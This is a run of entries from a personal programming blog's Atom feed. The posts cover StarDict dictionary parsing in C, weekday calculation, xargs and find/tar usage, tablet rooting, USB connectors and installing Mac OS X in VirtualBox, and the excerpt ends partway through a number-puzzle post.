        <content type="html"><![CDATA[<p>Personally I use Google Plus to remember which pages I&apos;ve ever browsed. It also benefits my friends and myself since my +1&apos;s will boost search rankings of those pages. Hopefully that will make it easier to find something useful.</p>

<p>I always believe recommendations from close friends, or at least acquaintance, act as an important factor in deciding whether a page is good or not. Note that it separates evaluations by friends from those by strangers, to make them more reliable. And you don&apos;t have to suffer from those who are making troubles - just don&apos;t follow them (Oh, follow is a Twitter term...). And Google Plus made this idea real, ahead of me.</p>

<p>So I never treat Google Plus as a pure social network. I&apos;d be more willing to view it as an attempt to improve search quality. I think several years later there will not be a notice like &apos;John shared this on example.com&apos; beneath each search result, but instead a row of avatars indicating which of your friends have read this page and thought it&apos;s good. It&apos;d be natural to accompany a search result with friends&apos; recommendations, and reserving each line for a friend wastes too much space.</p>

<p>Finally I&apos;d like to point out a disadvantage of Google Plus. You can only +1 a page on the search engine, or using a button provided by the website builder. It would be great if you can +1 any webpage you want. And this is made true by the Firefox plugin Plus One Button. Go to the link below to know the details. I just like this kind of simple and effective tools. I hope one day it will be integrated into Pentadactyl so I don't need to click the icon in the address bar.</p>

<p>Links:</p>

<ul>
    <li><a href="https://addons.mozilla.org/en-US/firefox/addon/plus-one-button/">https://addons.mozilla.org/en-US/firefox/addon/plus-one-button/</a></li>
</ul>]]></content>
    </entry>
    <entry>
        <title>CubeStormer II</title>
        <link href="http://blog.cykerway.com/post/428" />
        <id>http://blog.cykerway.com/post/428</id>
        <updated>2011-10-30T14:29:15Z</updated>
        <content type="html"><![CDATA[<p><iframe width="632" height="351" src="http://www.youtube.com/embed/_d0LfkIut2M" frameborder="0" allowfullscreen></iframe></p>

<p>Well, it shocks me...</p>]]></content>
    </entry>
    <entry>
        <title>Stardict词典格式</title>
        <link href="http://blog.cykerway.com/post/427" />
        <id>http://blog.cykerway.com/post/427</id>
        <updated>2011-10-30T02:16:43Z</updated>
        <content type="html"><![CDATA[<p>一直苦于没有好用的词典，心想这东西也无非就是个key-value pair吧，怎么就没人弄个免费好用的呢？</p>

<p>胡正那个Stardict倒是不错，可惜词典有版权问题，结果在sourceforge上关停了，此人也不知所踪了。</p>

<p>于是心想自己搞搞看吧。找了找Stardict的词典格式，没想到设计得还挺合理的。</p>

<p>每本词典主要由三个文件组成：.ifo/.idx/.dict。</p>

<p>.ifo是词典信息，格式类似配置文件，非常短，包括：词典收录词数，单词索引文件大小，单词释义文件格式定义等等。</p>

<p>.idx是单词索引，格式是这样的：每个单词以null-terminated字符串表示，后跟其释义在释义文件中的offset和length（都是4-byte unsigned int，network byte order）。这样从前往后扫这个.idx，就可以知道所有单词的释义都在释义文件的什么地方。</p>

<p>.dict是单词释义。因为.idx已经为每个单词指定了在.dict中的offset和length，那.dict的格式就比较随意了。不过一般都会设置sametypesequence，这样看上去比较规整。像朗道英汉词典的.dict就是一堆文本。不过也支持其他诸如HTML/MediaWiki，乃至wav等格式的数据。</p>

<p>写了一个可以初步处理朗道英汉词典的程序，得益于良好的格式规范，程序比想象中的简单：</p>

<pre class="brush:c">
#include &lt;stdio.h&gt;  
#include &lt;stdlib.h&gt;  
#include &lt;string.h&gt;  

char ifo[1024];
char idx[1024];
char dict[1024];

int getsize(FILE *fp)
{
    int current = ftell(fp);
    fseek(fp, 0, SEEK_END);
    int size = ftell(fp);
    fseek(fp, current, SEEK_SET);
    return size;
}

int getvalue(FILE *fp, int offset, int length, char *buf)
{
    fseek(fp, offset, SEEK_SET);
    fread(buf, length, 1, fp);
    buf[length] = 0;
}

int main(int argc, char *argv[])  
{  
    strcpy(ifo, argv[1]);
    strcpy(idx, argv[2]);
    strcpy(dict, argv[3]);

    // open idx file
    FILE *fp_idx = fopen(idx, &quot;rb&quot;);
    int size_idx = getsize(fp_idx);
    //printf(&quot;%d\n&quot;, size_idx);

    // open dict file
    FILE *fp_dict = fopen(dict, &quot;rb&quot;);
    
    // set counter
    int cnt = 5;

    // pull out each word from idx
    char name[512];
    char value[4096];
    uint offset;
    uint length;
    int name_ix = 0;
    char c;
    while (ftell(fp_idx) != size_idx &amp;&amp; cnt &gt; 0) {
        fread(&amp;c, 1, 1, fp_idx);
        if (c != 0) {
            name[name_ix++] = c;
        } else {
            // null-end name
            name[name_ix] = 0;

            // get offset and length
            fread(&amp;offset, sizeof(offset), 1, fp_idx);
            fread(&amp;length, sizeof(length), 1, fp_idx);

            // correct byte order
            offset = htonl(offset);
            length = htonl(length);

            // get value
            getvalue(fp_dict, offset, length, value);

            // output result
            printf(&quot;%s\n&quot;, name);
            printf(&quot;%s\n&quot;, value);

            // re-initialize
            bzero(name, sizeof(name));
            name_ix = 0;

            cnt--;
        }
    }
    fclose(fp_idx);  
    fclose(fp_dict);  
    return 0;  
}
</pre>

<p>既然词典格式这里很容易就搞定了，那么真就可以考虑一下弄个Wikipedia那样的人人皆可编辑的词典了。猜想可能有人做过了，不过我还真没见到特别靠谱的开源且无版权限制的英汉词典。</p>

<p>Links:</p>

<ul>
    <li><a href="http://code.google.com/p/babiloo/wiki/StarDict_format">http://code.google.com/p/babiloo/wiki/StarDict_format</a></li>
</ul>]]></content>
    </entry>
    <entry>
        <title>weekday计算</title>
        <link href="http://blog.cykerway.com/post/426" />
        <id>http://blog.cykerway.com/post/426</id>
        <updated>2011-10-29T18:38:58Z</updated>
        <content type="html"><![CDATA[<p>给定年月日，计算星期几。</p>

<p>最流行的方法是Zeller公式吧：</p>

<p>$$h = \left(q + \left\lfloor\frac{(m+1)26}{10}\right\rfloor + K + \left\lfloor\frac{K}{4}\right\rfloor + \left\lfloor\frac{J}{4}\right\rfloor - 2J\right) \mod 7$$</p>

<p>虽然十几年来一直在用这个东西，知道这个问题一行就能算出来，但还真没有特别仔细想过这个公式是如何推导出来的。大致上我觉得这就是发现了个什么规律然后吻合了。刚才到Wikipedia上扫了一眼，发现还真是如此。个人习惯于把这种方法叫做有限范围内的巧合。好比说你找一个有限长的数列的通项公式，总能找得到的。但是要说公式里的magic number有什么道理，就不是一句话能说清的了。叫一个外人来看，也未必看得懂。再加上这种方法还要把1月和2月当作前一年的13月和14月来算，也不够直接。它唯一的优势就是计算简单，computer-friendly。</p>

<p>历法本来就是人定的。如果为了满足天文现象，只需要定义一年有365天就够了。这是有道理的，因为地球公转一周大致相当于自转365周，客观上你不能改变这个物理规律。为了修正误差再加上点闰年什么的调整到一个合适的精度就可以了。至于一年分成多少个月，每个月多少天，就完全没啥数学道理了。A皇帝上台了，说我是X月出生的，X月就多了一天；B皇帝上台了，说我是Y月出生的，Y月就多了一天；C皇帝上台了，看A和B都不爽，X月和Y月各减一天……如是而已。真要把历法弄得规矩一些的话倒不如分解一下365 = 73 * 5，每年73个月每个月5天多好（当然这样月和星期就合并了，你叫它星期也行）。</p>

<p>所以我们还是来看看别的方法吧。首先你看计算weekday这种事情肯定是先规定某天是星期X，然后算出要计算的日期和该天的日期差再模7.既然每个月多少天都是人定的，那把这种先验列个表格再算就行了。不过等下，先做下下面的命令：</p>

<pre class="brush:bash">
cal 2 1600
cal 2 1700
cal 9 1752
</pre>

<p>怎么1600和1700年的2月份都是29天呢？1700好像不能被400整除吧？还有，怎么1752年的9月2日之后是9月14日呢？少了11天？</p>

<p>再往前看看会发现x00和1x00年的2月份都是29天。这中间涉及到一个历法的改革：从Julian calendar到Gregorian calendar。粗略地说，原来用的Julian calendar不准，没有400年不闰这一说，因而慢于实际时间。这样到1582年的时候它的春分日和地球公转到春分点的实际时间差了10天。于是教皇Gregory XIII在1582年颁布了Gregorian calendar来修正这一误差，同时砍掉了10天使得历法的时间和实际时间match。问题是教皇的历法遭到了新教国家的抵制。直到1752年才在英国和美国（当时还没建国）实行。这样（从新教国家的角度来看）在1700年之前（包括1700年）的能被100整除的年份的2月都是29天。既然1582年的时候已经慢了10天，1700年的2月29日又慢了一天，那么总共就慢了11天。所以1752年的9月2日之后砍掉11天就追上来了。</p>

<p>嗯，然后这个cal命令就是按照历法改革发生在1752年来算的。</p>

<p>然后我们继续算weekday。为了简单起见我们把日期差拆开。设输入为y年m月d日。先算年差（按每年第一天），再算年内月差（按每月第一天），最后算月内日差。加起来就是了。一年365天，365 = 1 mod 7，所以一个平年相当于一天，一个闰年就再加一天。cal一下知道2001年1月1日是星期一。那么令dy = (y - 2001)，这样dy + dy/4 - dy/100 + dy/400就是年差。为了再简单点，我们不妨用一个假想的，一直使用Gregorian calendar的1年1月1日来算。这样1年1月1日也是星期一，就不用减2001而是减1就可以了。所以年差可以进一步化简为(y - 1) + (y - 1)/4 - (y - 1)/100 + (y - 1)/400。</p>

<p>月差可以查表。1月份第一天和年初第一天当然不差，2月份第一天差31 = 3 mod 7……依此类推，得到mtable[] = {0, 3, 3, 6, 1, 4, 6, 2, 5, 0, 3, 5}。当然如果m &gt;= 3，要判断一下是不是闰年，是的话再加一天。</p>

<p>日差直接加就行了。</p>

<p>这样就算完了。但是有个问题是算月差是还得判断一下是不是闰年，虽然算年差的时候已经用了形似y/4 - y/100 + y/400的式子了。能不能合起来呢？当然可以，我们大可不必让2月份有没有29天影响到其他月份，只要把分隔点选在3月初而不是1月初就行了。如果m &lt; 3，我们就算y年的年差，然后对月差用加法；如果m &gt;= 3，我们就算(y + 1)年的年差，然后对月差用减法。比如算2003年12月8日是星期几，我们就先算2004年的年差，然后减去月差31 % 7 = 3（12月有31天），再加上日差。这样只需要修改一下mtable就行了。修改后的mtable = {0, 3, 2, 5, 0, 3, 5, 1, 4, 6, 2, 4}。在程序执行时只需要先判断m是否小于3，如果是，就令y = y - 1。写成代码就是：</p>

<pre class="brush:c">
int dow(int y, int m, int d)
{
   static int t[] = {0, 3, 2, 5, 0, 3, 5, 1, 4, 6, 2, 4};
   y -= m &lt; 3;
   return (y + y/4 - y/100 + y/400 + t[m-1] + d) % 7;
}
</pre>

<p>这就是Sakamoto方法。</p>

<p>Links:</p>

<ul>
    <li><a href="http://en.wikipedia.org/wiki/Weekday_determination#Sakamoto.27s_Method">http://en.wikipedia.org/wiki/Weekday_determination#Sakamoto.27s_Method</a></li>
</ul>]]></content>
    </entry>
    <entry>
        <title>aafm</title>
        <link href="http://blog.cykerway.com/post/425" />
        <id>http://blog.cykerway.com/post/425</id>
        <updated>2011-10-24T23:47:02Z</updated>
        <content type="html"><![CDATA[<p>aafm = Android ADB file manager</p>

<p>aafm是一个ADB的GTK图形界面。批量复制文件还是挺方便的，不过好像复制目录的时候有点问题。</p>

<p>嗯，其实最方便的是用来浏览设备上的文件，这点GUI貌似比CLI方便一些。</p>

<p>fork了原作者sole的项目，做了一个Arch包：</p>

<pre class="brush:bash">
yaourt -S aafm
</pre>

<p>即可下载。</p>

<p>Screenshot:</p>

<p><a href="https://a248.e.akamai.net/assets.github.com/img/c6e8f1ee524620bc1f2db675ddfeb42e5dc665be/687474703a2f2f736f6c652e6769746875622e636f6d2f6161666d2f73637265656e73686f742e706e67"><img src="https://a248.e.akamai.net/assets.github.com/img/c6e8f1ee524620bc1f2db675ddfeb42e5dc665be/687474703a2f2f736f6c652e6769746875622e636f6d2f6161666d2f73637265656e73686f742e706e67" alt="aafm.png" /></a></p>

<p>Links:</p>

<ul>
    <li><a href="https://github.com/cykerway/aafm">https://github.com/cykerway/aafm</a></li>
</ul>]]></content>
    </entry>
    <entry>
        <title>保持目录结构的复制</title>
        <link href="http://blog.cykerway.com/post/424" />
        <id>http://blog.cykerway.com/post/424</id>
        <updated>2011-10-24T22:02:12Z</updated>
        <content type="html"><![CDATA[<p>假设我要提取当前目录及其递归子目录下所有扩展名为.pdf的文件，并<b>保持目录结构</b>，到另外一个目录下，怎么弄呢？</p>

<p>find命令可以得到待提取文件的列表，但是cp没有递归建立子目录的功能。所有文件cp到一个目录下，就乱了，还可能发生重名文件覆盖。怎么弄呢？</p>

<p>于是想到了tar，所以这样就搞定了（只有一个tar加-v这样只显示一次复制的文件）：</p>

<pre class="brush:bash">
find -name &apos;*.pdf&apos; -print0 | xargs -0 tar -cf - | tar -C /tmp/dst -xvf -
</pre>

<p>虽说写个脚本也不难，但不依赖第三方脚本而是靠UNIX工具的组合总是好的。</p>]]></content>
    </entry>
    <entry>
        <title>xargs</title>
        <link href="http://blog.cykerway.com/post/423" />
        <id>http://blog.cykerway.com/post/423</id>
        <updated>2011-10-24T20:20:56Z</updated>
        <content type="html"><![CDATA[<p>首先用Python写一个命令行参数显示工具，命名为showargv.py，内容如下：</p>

<pre class="brush:python">
#!/usr/bin/python

import sys

i = 0
for arg in sys.argv:
    print(&apos;argv[{}]:{}&apos;.format(i, arg))
    i += 1
</pre>

<p>然后建立两个实验对象，一个命名为original.txt，内容如下：</p>

<pre class="brush:bash">
/tmp/normal
/tmp/blank  line


/tmp/apos
/tmp/quot
/tmp/backslash
</pre>

<p>另一个命名为special.txt，内容如下：</p>

<pre class="brush:bash">
/tmp/normal
/tmp/blank  line


/tmp/ap&apos;os
/tmp/qu&quot;ot
/tmp/back\slash
</pre>

<p>区别是special.txt含有引号和反斜线，而original.txt不含。</p>

<p>我们先拿original.txt做实验：</p>

<pre class="brush:bash">
cat original.txt | xargs /tmp/showargv.py

argv[0]:/tmp/showargv.py
argv[1]:/tmp/normal
argv[2]:/tmp/blank
argv[3]:line
argv[4]:/tmp/apos
argv[5]:/tmp/quot
argv[6]:/tmp/backslash
</pre>

<p>可以看到空行被无视，空格和换行符作为分隔符（多个空格看作一个），showargv.py只调用了一次。</p>

<pre class="brush:bash">
cat original.txt | xargs -n 1 /tmp/showargv.py

argv[0]:/tmp/showargv.py
argv[1]:/tmp/normal
argv[0]:/tmp/showargv.py
argv[1]:/tmp/blank
argv[0]:/tmp/showargv.py
argv[1]:line
argv[0]:/tmp/showargv.py
argv[1]:/tmp/apos
argv[0]:/tmp/showargv.py
argv[1]:/tmp/quot
argv[0]:/tmp/showargv.py
argv[1]:/tmp/backslash
</pre>

<p>可以看到-n的作用是指定每次执行时的最大参数个数，相当于把上面那一坨拆成一个一个执行。</p>

<pre class="brush:bash">
cat original.txt | xargs -d &apos;\n&apos; /tmp/showargv.py

argv[0]:/tmp/showargv.py
argv[1]:/tmp/normal
argv[2]:/tmp/blank  line
argv[3]:
argv[4]:
argv[5]:/tmp/apos
argv[6]:/tmp/quot
argv[7]:/tmp/backslash
</pre>

<p>可以看到-d选项指定分隔符的效果。此时整个输入文件以-d所指定的分隔符分成若干参数。因为没有指定-n，showargv.py只调用一次。</p>

<pre class="brush:bash">
cat original.txt | xargs -L 1 /tmp/showargv.py

argv[0]:/tmp/showargv.py
argv[1]:/tmp/normal
argv[0]:/tmp/showargv.py
argv[1]:/tmp/blank
argv[2]:line
argv[0]:/tmp/showargv.py
argv[1]:/tmp/apos
argv[0]:/tmp/showargv.py
argv[1]:/tmp/quot
argv[0]:/tmp/showargv.py
argv[1]:/tmp/backslash
</pre>

<p>可以看到-L的效果是指定每次最多执行几行（这里是1；空行被无视）。行尾的空格意味着连接到下一行（这里没有实验，请自行验证）。</p>

<pre class="brush:bash">
cat original.txt | xargs -I {} /tmp/showargv.py {}

argv[0]:/tmp/showargv.py
argv[1]:/tmp/normal
argv[0]:/tmp/showargv.py
argv[1]:/tmp/blank  line
argv[0]:/tmp/showargv.py
argv[1]:/tmp/apos
argv[0]:/tmp/showargv.py
argv[1]:/tmp/quot
argv[0]:/tmp/showargv.py
argv[1]:/tmp/backslash
</pre>

<p>注意-I与-L 1的区别。-I蕴含了-L 1，但-I还有一个作用是取消空格的终止作用，所以<i>blank  line</i>被看成了一个参数。</p>

<p>然后我们用special.txt来试试看：</p>

<pre class="brush:bash">
cat special.txt | xargs /tmp/showargv.py

xargs: unmatched single quote; by default quotes are special to xargs unless you use the -0 option
argv[0]:/tmp/showargv.py
argv[1]:/tmp/normal
argv[2]:/tmp/blank
argv[3]:line
</pre>

<p>出错了！有个没配对的单引号。什么选项都不加的时候，引号和反斜线是有特殊含义的，就像bash里一样。</p>

<pre class="brush:bash">
cat special.txt | xargs -d &apos;\n&apos; /tmp/showargv.py

argv[0]:/tmp/showargv.py
argv[1]:/tmp/normal
argv[2]:/tmp/blank  line
argv[3]:
argv[4]:
argv[5]:/tmp/ap&apos;os
argv[6]:/tmp/qu&quot;ot
argv[7]:/tmp/back\slash
</pre>

<p>加上-d之后就好了。这是因为-d还有个作用是禁止引号和反斜线的特殊含义，也就是说现在引号和反斜线都是普通字符了(literally)。同理，-0也有这个作用。</p>

<p>可是-d还有一个副作用：空行不再被忽略了。这个暂时还没有办法，只能事先sed过滤一下了。</p>

<pre class="brush:bash">
cat special.txt | xargs -I {} /tmp/showargv.py {}

argv[0]:/tmp/showargv.py
argv[1]:/tmp/normal
xargs: unmatched single quote; by default quotes are special to xargs unless you use the -0 option
argv[0]:/tmp/showargv.py
argv[1]:/tmp/blank  line
</pre>

<p>而-I在遇到引号的时候可耻地失败了，可见-I并没有禁止字符特殊含义的作用。</p>

<p>总结：</p>

<ul>

    <li>先用sed &apos;/^$/d&apos;过滤空行。</li>

    <li>如果要使用默认分隔符且所有输入作为一组参数传入，什么也不用加。</li>

    <li>如果要按行作为一组参数传入，用-d &apos;\n&apos;。</li>

    <li>如果要一行一行执行，且每行中的输入作为一组参数传入（默认分隔符），用-L 1（注意行尾不能有空白符，否则会和下行合并）。</li>

    <li>如果要一行一行执行，且每行作为一个参数传入，用-d &apos;\n&apos; -L 1（在-d存在的情况下-L表示-d分开的逻辑行，且行尾空白符不再具有合并下行的作用）。也可以用-d &apos;\n&apos; -n 1，看上去更容易理解。</li>

    <li>如果在输入中引号和反斜线表示转义，又想使用-d的断行功能，可以先用管道| xargs -L 1 |脱去转义。</li>

</ul>

<p>于是感觉xargs的设计还是有点乱：</p>

<ul>

    <li>缺少一个决定输入中的引号和反斜线是否表示转义的选项。这个选项嵌在-d和-0里副作用太大了。</li>

    <li>在用-d指定分隔符后-L的含义就不清晰了，不再表示输入中的物理行了。</li>

    <li>-L那个行尾空白符合并下行的功能感觉没啥用，特别是批量输出数据的时候很正常地每行最后一个数据也会加空格分开。如果真要表示合并下行也应该用反斜线吧，符合惯例。</li>

</ul>

<p>拿上面那个special.txt来说。假设每个非空行表示一个文件，引号和反斜线表示字面意义，而我想对每个文件执行execute &lt;file&gt; 12345。一般来说我们需要用到-I选项，因为不能保证文件里的输入总是最后一个参数（例如这里）。那么命令行应该是：</p>

<pre class="brush:bash">
cat special.txt | sed &apos;/^$/d&apos; | xargs -d &apos;\n&apos; -I {} execute {} 12345
</pre>

<p>所以……我真是想重写xargs啊！但是重写了就未必兼容POSIX了，所以这活还是应该由GNU来做吧？我先用-0将就一下好了，反正绝大多数时间都是和find在一起用的。</p>]]></content>
    </entry>
    <entry>
        <title>Galaxy Tab P7510</title>
        <link href="http://blog.cykerway.com/post/422" />
        <id>http://blog.cykerway.com/post/422</id>
        <updated>2011-10-23T01:50:02Z</updated>
        <content type="html"><![CDATA[<p>国行的GT太残了，内置的都是什么乌七八糟的玩意儿啊，严重影响智商有木有！连个Ad-Hoc无线都不支持。</p>

<p>更残的是没有USB Mass Storage了，取而代之的是个MTP，用mtp-detect还出错（只在USB刚接上的那几秒可以成功），mtpfs显然也不能用。不过在Win上是正常的。</p>

<p>于是果断root之后刷了个ROM，改了一下wpa_supplicant，顿时觉得：升值了！</p>

<p>Honeycomb好像没有内置的OpenVPN支持，于是又要用到原来的那两个程序了。openvpn-settings有个不断提示的bug，幸而有人已经fix了。</p>

<p>于是终于不用坐在笔记本前看paper了，这老人腰可以好好休息一下了。</p>

<p>嗯，弄过之后的GT值得推荐，很薄，而且屏幕超好，速度也不错。</p>

<p>Links:</p>

<ul>
    <li>Intro：<a href="http://forum.xda-developers.com/showthread.php?t=1171089">http://forum.xda-developers.com/showthread.php?t=1171089</a></li>
    <li>root：<a href="http://forum.xda-developers.com/showthread.php?t=1239185">http://forum.xda-developers.com/showthread.php?t=1239185</a></li>
    <li>ROM：<a href="http://forum.xda-developers.com/showthread.php?t=1227800">http://forum.xda-developers.com/showthread.php?t=1227800</a></li>
    <li>Ad-Hoc Wifi：<a href="http://forum.xda-developers.com/showthread.php?t=1083182">http://forum.xda-developers.com/showthread.php?t=1083182</a></li>
    <li>OpenVPN：<a href="http://forum.xda-developers.com/showthread.php?p=15264488">http://forum.xda-developers.com/showthread.php?p=15264488</a></li>
    <li>tun.ko：<a href="http://forum.xda-developers.com/showthread.php?t=1262315">http://forum.xda-developers.com/showthread.php?t=1262315</a></li>
    <li><a href="/uploads/20111024/gt-p7510.tar.bz2">GT-P7510全套刷机包</a></li>
</ul>]]></content>
    </entry>
    <entry>
        <title>SOSP/OSDI Hall of Fame</title>
        <link href="http://blog.cykerway.com/post/421" />
        <id>http://blog.cykerway.com/post/421</id>
        <updated>2011-10-21T22:24:22Z</updated>
        <content type="html"><![CDATA[<p>敢情有人想得这么周到，做得还很方便，想看的Professor和Institute都做了链接。早知道就不自己数了……</p>

<p>Links:</p>

<ul>
    <li><a href="http://xiao-ma.com/sohof/index.html">http://xiao-ma.com/sohof/index.html</a></li>
</ul>]]></content>
    </entry>
    <entry>
        <title>some interesting facts about USB connectors</title>
        <link href="http://blog.cykerway.com/post/420" />
        <id>http://blog.cykerway.com/post/420</id>
        <updated>2011-10-19T13:18:43Z</updated>
        <content type="html"><![CDATA[<p>There are two main types of USB connectors: Standard-A and Standard-B, each with its own plugs and receptacles.</p>

<p><a href="http://upload.wikimedia.org/wikipedia/commons/6/67/USB.svg"><img src="http://upload.wikimedia.org/wikipedia/commons/6/67/USB.svg" alt="USB.svg" /></a></p>

<p>If you examine how they are used in our lives, you&apos;ll find computers often have Standard-A receptacles, which means they&apos;d like to receive Standard-A plugs. And keyboards and mice often have Standard-A plugs, making them suitable for a computer.</p>

<p>However, removable disks and printers often have Standard-B receptacles. And we usually connect them to the computer using a wire with two different ends: one with Standard-A plug (to connect to computer) and the other with Standard-B plug (to connect to removable disks/printers).</p>

<p>So why do we introduce two types of USB connectors? The answer is to prevent an electrical loop. Modern computers usually have more than one USB receptacles. If we use a wire with two Standard-A plugs, we may accidentally connect two USB receptacles on the computer, which is not a good idea...</p>

<p>As established by usage, Standard-A plugs are often connected to downstream receptacles (on computers), where the connection is meant to be permanent. Standard-B plugs are often connected to upstream receptacles (on devices), where the connection is removable.</p>

<p>Another interesting fact is that the data connectors are recessed in a Standard-A plug as compared to the outside power connectors, so that a device gets power earlier than data. To fully utilize this feature, you can only partially insert the plug so that the device gets only power but not data connection. Sometimes this is useful as some stupid MP3 player will get into file transfer mode and stop playing when the plug is fully inserted.</p>

<p>Links:</p>

<ul>
    <li><a href="http://en.wikipedia.org/wiki/USB_device">http://en.wikipedia.org/wiki/USB_device</a></li>
    <li><a href="http://www.edn.com/archives/1996/102496/df_01.htm#USB%20fundamentals">http://www.edn.com/archives/1996/102496/df_01.htm#USB%20fundamentals</a></li>
</ul>]]></content>
    </entry>
    <entry>
        <title>VirtualBox安装Mac OS X Lion</title>
        <link href="http://blog.cykerway.com/post/419" />
        <id>http://blog.cykerway.com/post/419</id>
        <updated>2011-10-18T22:20:59Z</updated>
        <content type="html"><![CDATA[<p>本文是<a href="http://blog.cykerway.com/post/417">http://blog.cykerway.com/post/417</a>的续集，安装的Mac OS X版本从Leopard变成了Lion。</p>

<p>基本的过程大同小异，只是从iATKOS v7改成了iATKOS L1。</p>

<p>首先用VirtualBox建立VM的时候要选Mac OS X Server (64 bit)。我也不知道为啥，也许iATKOS L1这个系统就是64位的。</p>

<p>然后设置分辨率的时候会出点问题。在Leopard中我们改的是/Library/Preferences/SystemConfiguration/com.apple.Boot.plist。这个文件后来似乎变成了/Extra/com.apple.Boot.plist。但是Lion下还是没有这个文件，而是有个/Extra/org.chameleon.boot.plist，猜测是改名了。碰巧搜索到了这个issue帖：<a href="http://forge.voodooprojects.org/p/chameleon/issues/131/">http://forge.voodooprojects.org/p/chameleon/issues/131/</a>，证实了这一点。</p>

<p>剩下的设置就一样了。上图：</p>

<p><a href="/uploads/20111018/lion.png"><img src="/uploads/20111018/lion-tn.png" alt="lion-tn.png" /></a></p>

<p>置底链接里有一些不错的东西，可以看看。</p>

<p>Links:</p>

<ul>
    <li><a href="http://www.tonymacx86.com/wiki/index.php/Main_Page">http://www.tonymacx86.com/wiki/index.php/Main_Page</a></li>
</ul>]]></content>
    </entry>
    <entry>
        <title>Mac OS X Architecture</title>
        <link href="http://blog.cykerway.com/post/418" />
        <id>http://blog.cykerway.com/post/418</id>
        <updated>2011-10-16T20:12:57Z</updated>
        <content type="html"><![CDATA[<p>Mac OS X = Darwin + Aqua</p>
<p>Darwin = XNU + utilities</p>
<p>XNU = Mach + BSD + I/O Kit</p>

<p>Darwin是个CLI操作系统，XNU是这个系统的内核。</p>

<p>XNU中，Mach负责最底层的服务，像multi-tasking/IPC之类；BSD负责TCP/IP协议栈和VFS等。I/O Kit是个硬件抽象，方便程序员写驱动。</p>

<p>哦，XNU虽然based on Mach，但是是个monolithic kernel。好像是把Mach开发者们从BSD代码中重新实现的一些部分又undo回去了。这个日后再研究下。最后看图说话：</p>

<p><a href="http://upload.wikimedia.org/wikipedia/commons/f/f2/Diagram_of_Mac_OS_X_architecture.svg"><img src="http://upload.wikimedia.org/wikipedia/commons/f/f2/Diagram_of_Mac_OS_X_architecture.svg" alt="Diagram_of_Mac_OS_X_architecture.svg" /></a></p>

<p>Links:</p>

<ul>
    <li><a href="http://www.cocoabyss.com/mac-os-x/mac-os-x-kernel-structure/">http://www.cocoabyss.com/mac-os-x/mac-os-x-kernel-structure/</a></li>
    <li><a href="http://osxbook.com/book/bonus/ancient/whatismacosx//arch_xnu.html">http://osxbook.com/book/bonus/ancient/whatismacosx//arch_xnu.html</a></li>
</ul>]]></content>
    </entry>
    <entry>
        <title>VirtualBox安装Mac OS X Leopard</title>
        <link href="http://blog.cykerway.com/post/417" />
        <id>http://blog.cykerway.com/post/417</id>
        <updated>2011-10-16T16:49:13Z</updated>
        <content type="html"><![CDATA[<p>VM - VirtualBox</p>
<p>Host - ArchLinux</p>
<p>Guest - iATKOS v7 (Leopard)</p>

<p>因为是改版Mac，也就不要那个empireEFI了。喜欢原版的自己Google一下吧。安装之前先看CPU支持VT-x不，方法是</p>

<pre class="brush:bash">
grep vmx /proc/cpuinfo
</pre>

<p>flags里有vmx就OK了。重启，到BIOS把VT-x打开就行了。</p>

<p>VirtualBox里开个新VM，设置如下：</p>

<ul>
    <li>内存不小于1024M</li>
    <li>硬盘不小于20G</li>
    <li>优先启动CD/DVD-ROM，其次Hard Disk</li>
    <li>关EFI</li>
    <li>CPU只分配一个核</li>
    <li>开PAE/NX，VT-x/AMD-V</li>
    <li>显存128M</li>
    <li>其他优化选项能开就开</li>
</ul>

<p>然后把下载的ISO挂到光驱上，从光驱启动就行了。</p>

<p>安装完从硬盘启动即可运行Leopard。如果想改分辨率，Arch下设置</p>

<pre class="brush:bash">
VBoxManage setextradata &quot;mac&quot; &quot;CustomVideoMode1&quot; &quot;1280x800x32&quot;
</pre>

<p>mac是虚拟机的名称，改成自己的。</p>

<p>Leopard下在/Library/Preferences/SystemConfiguration/com.apple.Boot.plist文件加上</p>

<pre class="brush:xml">
&lt;key&gt;Graphics Mode&lt;/key&gt;
&lt;string&gt;1280x800x32@60&lt;/string&gt;
</pre>

<p>32是位深，60是刷新率。同样，所有参数改成自己的。</p>

<p>嗯差不多就这么多，过一阵儿弄个Lion试试。</p>

<p>Links:</p>

<ul>
    <li><a href="http://www.iteeyan.com/2010/09/install-snow-leopard_10_6_3-on-virtualbox/">http://www.iteeyan.com/2010/09/install-snow-leopard_10_6_3-on-virtualbox/</a></li>
    <li><a href="http://blog.zhaojie.me/2010/09/how-to-install-mac-os-x-snow-leopard-on-virtualbox.html">http://blog.zhaojie.me/2010/09/how-to-install-mac-os-x-snow-leopard-on-virtualbox.html</a></li>
    <li><a href="http://henrynote.twbbs.org/27">http://henrynote.twbbs.org/27</a></li>
</ul>]]></content>
    </entry>
    <entry>
        <title>SCIgen</title>
        <link href="http://blog.cykerway.com/post/416" />
        <id>http://blog.cykerway.com/post/416</id>
        <updated>2011-10-15T19:40:02Z</updated>
        <content type="html"><![CDATA[<p>SCIgen太像样了，只能这么说。</p>

<p>嗯，K.I.S.S.患者非常讨厌水文。</p>

<p>Links:</p>

<ul>
    <li><a href="http://pdos.csail.mit.edu/scigen/">http://pdos.csail.mit.edu/scigen/</a></li>
</ul>]]></content>
    </entry>
    <entry>
        <title>Rest In Peace, DMR</title>
        <link href="http://blog.cykerway.com/post/415" />
        <id>http://blog.cykerway.com/post/415</id>
        <updated>2011-10-13T23:04:51Z</updated>
        <content type="html"><![CDATA[<p>Most, if not all, of the fun of learning computer science was given by Unix and C.</p>

<p><a href="http://upload.wikimedia.org/wikipedia/commons/0/01/Dennis_MacAlistair_Ritchie_.jpg"><img src="http://upload.wikimedia.org/wikipedia/commons/0/01/Dennis_MacAlistair_Ritchie_.jpg" alt="Dennis_MacAlistair_Ritchie_.jpg" /></a></p>

<p>R.I.P. - Dennis MacAlistair Ritchie</p>]]></content>
    </entry>
    <entry>
        <title>鬼谷子之孙庞猜数</title>
        <link href="http://blog.cykerway.com/post/414" />
        <id>http://blog.cykerway.com/post/414</id>
        <updated>2011-10-13T19:37:33Z</updated>
        <content type="html"><![CDATA[<p>这个问题真奇妙，从高中数学论坛，初中奥赛乃至小学数学网站都有收录，甚至还引起了CSDN上的讨论。故事是这样的：</p>

<p><blockquote>一天，鬼谷子随意从2~99中选取了两个数。他把这两个数的和告诉了庞涓，把这两个数的乘积告诉了孙膑。但孙膑和庞涓彼此不知到对方得到的数。第二天，庞涓很有自信地对孙膑说：虽然我不知到这两个数是什麽，但我知道你一定也不知道。随后，孙膑说：那我知道了。庞涓说：那我也知道了。</blockquote></p>

<p>问题是求这两个数各是多少。</p>

